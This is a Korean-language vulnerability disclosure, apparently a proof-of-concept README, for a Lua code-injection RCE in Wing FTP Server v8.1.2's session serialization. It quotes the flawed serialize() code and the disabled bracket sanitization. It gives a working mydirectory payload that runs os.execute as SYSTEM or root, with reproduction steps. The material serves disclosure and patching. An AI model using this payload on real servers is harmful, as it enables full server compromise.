CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit
Wing FTP Server v8.1.2에는 세션 직렬화 메커니즘에 원격 코드 실행(RCE) 취약점이 존재합니다. 인증된 관리자는 도메인 관리자 mydirectory(basefolder) 필드를 통해 임의의 Lua 코드를 주입할 수 있으며, 이는 서버 측에서 loadfile()을 통해 실행됩니다.
이는 CVE-2025-47812와는 별개의 취약점입니다. v7.4.4에서 CVE-2025-47812에 적용된 수정 사항은 사용자 이름 필드의 null 바이트 주입 벡터만 해결했습니다. 근본적인 안전하지 않은 세션 직렬화는 수정되지 않았으며, v8.1.2에서 관리자 basefolder 필드를 통해 계속 악용 가능합니다.
SessionModule.lua(103행)와 SessionModuleAdmin.lua(104행)의 세션 직렬화 함수 serialize()는 Lua [[...]] 긴 문자열 표기법을 사용하여 문자열 값을 기록합니다.
outf("_SESSION["..k.."]=[["..v.."]]\r\n")
세션 값에 ]]가 포함되어 있으면 긴 문자열이 조기에 종료되고 나머지 내용이 실행 가능한 Lua 코드로 구문 분석됩니다.
대괄호 정리 코드가 cgi.lua(274-275행)와 cgiadmin.lua(277-278행)에 존재하지만 주석 처리되어 있습니다.
--v = string.gsub(v,"%[","")
--v = string.gsub(v,"%]","")
이 정리를 적용할 세션 메타테이블도 비활성화되어 있습니다.
--setmetatable(_SESSION,session_metatable) -- cgi.lua:282, cgiadmin.lua:285
1단계 — 도메인 관리자 basefolder를 통한 페이로드 주입:
인증된 전체 관리자가 도메인 관리자 계정을 생성하거나 수정합니다. mydirectory 필드를 다음과 같이 설정합니다.
C:\ftproot]]os.execute("whoami > C:\\proof.txt")--
엔드포인트 service_add_admin.html과 service_modify_admin.html은 mydirectory 필드에서 대괄호 문자를 정리하지 않습니다. (service_add_admin.html은 14-15행에서 사용자 이름의 대괄호는 제거하지만 mydirectory에서는 제거하지 않습니다.)
2단계 — 실행 트리거:
오염된 도메인 관리자가 service_login.html을 통해 로그인하면 basefolder가 세션에 직접 저장됩니다.
rawset(_SESSION,"admin_basefolder",basefolder) -- service_login.html:95
rawset(_SESSION,"admin_nowpath",basefolder) -- service_login.html:96
SessionModuleAdmin.save()는 이를 세션 파일에 다음과 같이 기록합니다.
_SESSION['admin_basefolder']=[[C:\ftproot]]os.execute("whoami > C:\\proof.txt")--]]
3단계 — 코드 실행:
해당 세션을 사용하는 다음 HTTP 요청에서 SessionModuleAdmin.load()는 loadfile()을 호출한 다음 f()를 호출합니다(184-188행). Lua 파서는 세션 파일을 다음과 같이 해석합니다.
_SESSION['admin_basefolder']=[[C:\ftproot]] --> 문자열 "C:\ftproot" 할당
os.execute("whoami > C:\\proof.txt") --> 코드로 실행됨
--]] --> 나머지는 주석 처리됨
페이로드는 Wing FTP Server 프로세스의 권한(Windows에서는 SYSTEM, Linux에서는 root)으로 실행됩니다.
Windows에서 Wing FTP Server v8.1.2를 대상으로 작동하는 PoC 익스플로잇이 개발 및 테스트되었습니다.
재현 단계:
관리자 패널에 로그인합니다.
다음 mydirectory 값을 사용하여 새 도메인 관리자를 생성합니다.
C:\ftproot]]os.execute("whoami > C:\\wingftp_rce_proof.txt")--
새로 생성된 도메인 관리자로 로그인합니다.
아무 관리자 페이지로 이동합니다(세션 로드 트리거).
C:\wingftp_rce_proof.txt가 생성되어 서버의 사용자 이름을 포함하고 있는지 확인합니다.